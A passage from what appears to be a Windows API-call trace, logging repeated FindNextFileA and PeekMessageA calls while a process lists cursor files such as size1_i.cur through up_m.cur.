cFileName="size1_i.cur", cAlternateFileName="")) returned 1 [0125.478] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.478] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8c4019, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c8c4019, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x69fef72d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_il.cur", cAlternateFileName="")) returned 1 [0125.478] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.478] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8ea176, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c8ea176, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a01588b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_im.cur", cAlternateFileName="")) returned 1 [0125.478] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.478] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8ea176, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c8ea176, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a01588b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_l.cur", cAlternateFileName="")) returned 1 [0125.478] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.479] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8ea176, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c8ea176, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a03b9e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_m.cur", cAlternateFileName="")) returned 1 [0125.479] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.479] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c8ea176, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c8ea176, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a061b47, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_r.cur", cAlternateFileName="")) returned 1 [0125.479] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.479] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9102d3, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9102d3, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a061b47, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_rl.cur", cAlternateFileName="")) returned 1 [0125.479] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.479] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9102d3, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9102d3, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a087ca5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size1_rm.cur", cAlternateFileName="")) returned 1 [0125.479] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.480] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c936430, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c936430, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a0ade03, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_i.cur", cAlternateFileName="")) returned 1 [0125.480] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.480] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c936430, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c936430, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a192637, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_il.cur", cAlternateFileName="")) returned 1 [0125.480] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.480] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c95c58d, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c95c58d, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a192637, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_im.cur", cAlternateFileName="")) returned 1 [0125.480] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.480] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c95c58d, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c95c58d, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a1b8795, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_l.cur", cAlternateFileName="")) returned 1 [0125.480] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.480] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9826ea, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9826ea, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a1de8f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_m.cur", cAlternateFileName="")) returned 1 [0125.480] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.481] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9826ea, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9826ea, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a204a51, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_r.cur", cAlternateFileName="")) returned 1 [0125.481] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.481] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9826ea, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9826ea, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a22abaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_rl.cur", cAlternateFileName="")) returned 1 [0125.481] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.481] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9a8847, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9a8847, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a22abaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size2_rm.cur", cAlternateFileName="")) returned 1 [0125.481] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.485] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9a8847, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9a8847, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a4fe5a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_i.cur", cAlternateFileName="")) returned 1 [0125.485] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.485] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9ce9a4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9ce9a4, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a524707, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_il.cur", cAlternateFileName="")) returned 1 [0125.514] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.514] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9f4b01, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9f4b01, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a524707, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_im.cur", cAlternateFileName="")) returned 1 [0125.514] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.515] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9f4b01, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9f4b01, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a54a865, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_l.cur", cAlternateFileName="")) returned 1 [0125.515] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.515] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c9f4b01, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2c9f4b01, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a5709c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_m.cur", cAlternateFileName="")) returned 1 [0125.515] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.515] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca1ac5e, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2ca1ac5e, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a5709c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_r.cur", cAlternateFileName="")) returned 1 [0125.515] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.516] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca40dbb, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2ca40dbb, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a596b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_rl.cur", cAlternateFileName="")) returned 1 [0125.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.516] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca40dbb, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2ca40dbb, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a5bcc7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size3_rm.cur", cAlternateFileName="")) returned 1 [0125.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.516] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca66f18, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2ca66f18, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a67b355, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_i.cur", cAlternateFileName="")) returned 1 [0125.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.516] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca8d075, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2ca8d075, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a67b355, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_il.cur", cAlternateFileName="")) returned 1 [0125.516] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.517] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ca8d075, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2ca8d075, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a6a14b3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_im.cur", cAlternateFileName="")) returned 1 [0125.517] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.517] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cab31d2, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cab31d2, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a6c7611, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_l.cur", cAlternateFileName="")) returned 1 [0125.517] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.517] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cab31d2, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cab31d2, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a6c7611, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_m.cur", cAlternateFileName="")) returned 1 [0125.517] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.517] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cad932f, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cad932f, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a6ed76f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_r.cur", cAlternateFileName="")) returned 1 [0125.517] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.518] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cad932f, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cad932f, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7138cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_rl.cur", cAlternateFileName="")) returned 1 [0125.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.518] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2caff48c, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2caff48c, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7138cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="size4_rm.cur", cAlternateFileName="")) returned 1 [0125.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.518] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb255e9, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb255e9, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a75fb89, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_i.cur", cAlternateFileName="")) returned 1 [0125.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.518] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb255e9, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb255e9, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a75fb89, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_il.cur", cAlternateFileName="")) returned 1 [0125.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.518] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb255e9, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb255e9, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a785ce7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_im.cur", cAlternateFileName="")) returned 1 [0125.518] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.519] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb4b746, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb4b746, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7abe45, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_l.cur", cAlternateFileName="")) returned 1 [0125.519] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0125.519] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb4b746, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0x2cb4b746, ftLastAccessTime.dwHighDateTime=0x1ca040a, ftLastWriteTime.dwLowDateTime=0x6a7abe45, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x63e, dwReserved0=0x0, dwReserved1=0x0, cFileName="up_m.cur", cAlternateFileName="")) returned 1 [0125.519] PeekMessageA (in: lpMsg=0x18fb74, 